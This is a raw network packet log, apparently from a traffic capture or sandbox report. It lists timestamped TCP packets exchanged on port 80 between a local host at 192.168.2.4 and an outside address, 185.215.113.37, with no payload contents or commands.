Oct 12, 2024 13:17:29.692353964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692367077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692373991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692385912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692392111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692399979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692404032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692420959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692421913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692440033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692456007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724617958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724690914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724693060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724726915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724737883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724776030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724814892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724860907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724869013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724901915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724915981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724939108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724944115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.724973917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.724987030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725008965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725019932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725044012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725054979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725079060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725087881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725114107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725125074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725147963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725157976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725183010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725194931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725217104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725228071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725251913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725263119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725286961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725301027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725320101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725331068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725354910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725368023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725389004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725399017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725424051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725434065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725456953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725467920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725491047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725505114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725527048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725539923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725562096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725573063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725596905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725608110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725631952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725642920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725667953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725682020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725703001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725734949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725752115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725766897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725790024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725799084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725812912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725835085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725840092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725871086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725878000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725908041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725917101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725938082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.725946903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.725982904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754255056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754327059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754336119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754363060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754371881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754399061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754405975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754435062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754441977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754481077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754482031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754525900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754538059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754585028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754594088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754631996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754642963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754677057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754684925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754719019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754730940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754765034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754770994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754806042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754820108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754846096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754857063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754890919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754904032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754926920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754937887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754961014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.754971027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.754995108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755004883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755028009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755064964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755076885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755099058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755112886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755134106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755146027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755178928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755186081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755219936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755232096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755254984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755264997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755300999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755311012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755347013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755359888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755394936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755426884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755472898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755480051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755515099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755547047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755567074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755579948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755589008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755614042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755621910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755649090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755650997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755687952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755697966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755724907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755734921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755759001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755769968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755793095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755805016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755826950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755836010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755861998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755872965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755897045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755908012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755928993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755939960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.755964994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.755975962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756000042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756009102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756033897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756042004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756067991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756082058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756103039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756114006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756135941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756149054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756170988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756181955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756205082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756218910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756242990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756247997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756277084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756289959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756310940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756316900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756345034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756356955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756378889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756390095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756412983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756424904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756448984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756458044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756479025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756494045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756511927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756520987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756546021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756557941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756580114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756608963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756613016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756622076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756645918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756658077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756681919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756690979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756716967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756728888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756752014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756762981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756784916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756797075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756819963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756829023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756853104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756867886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756887913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756894112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756922007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756932974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756958961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.756966114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.756992102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757004976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757026911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757039070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757060051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757080078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757093906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757108927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757127047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757141113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757160902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757169008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757194996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757205963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757230043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757241011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757263899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.757275105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.757308006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.818799973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.818820953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.818854094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.818869114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819046021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819071054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819087029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819089890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819102049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819106102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819120884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819124937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819138050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819139004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819154978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819159985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819170952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819171906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819196939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819200993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819212914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819216967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819231033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819231987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819255114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819267035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819309950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819327116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819341898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819359064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819367886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819375992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819397926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819402933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819417953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819418907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819437981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819448948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819453001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.819463015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819477081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.819484949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820571899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820588112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820606947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820621014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820627928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820632935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820645094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820650101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820667028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820672035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820683002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820684910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820707083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820710897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820717096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820728064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820746899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820753098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820761919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820764065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820780993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820789099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820796967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820801973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820813894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.820816040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820838928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.820857048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.848196983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.848221064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.848237991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.848253012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.848268986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.848278999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.848285913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.848316908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.848329067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.892235994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.897049904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117065907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117139101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117166042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117176056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117192984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117208004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117244005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.117250919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117250919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.117279053 CEST	80	49730	185.215.113.37	192.168.2.4
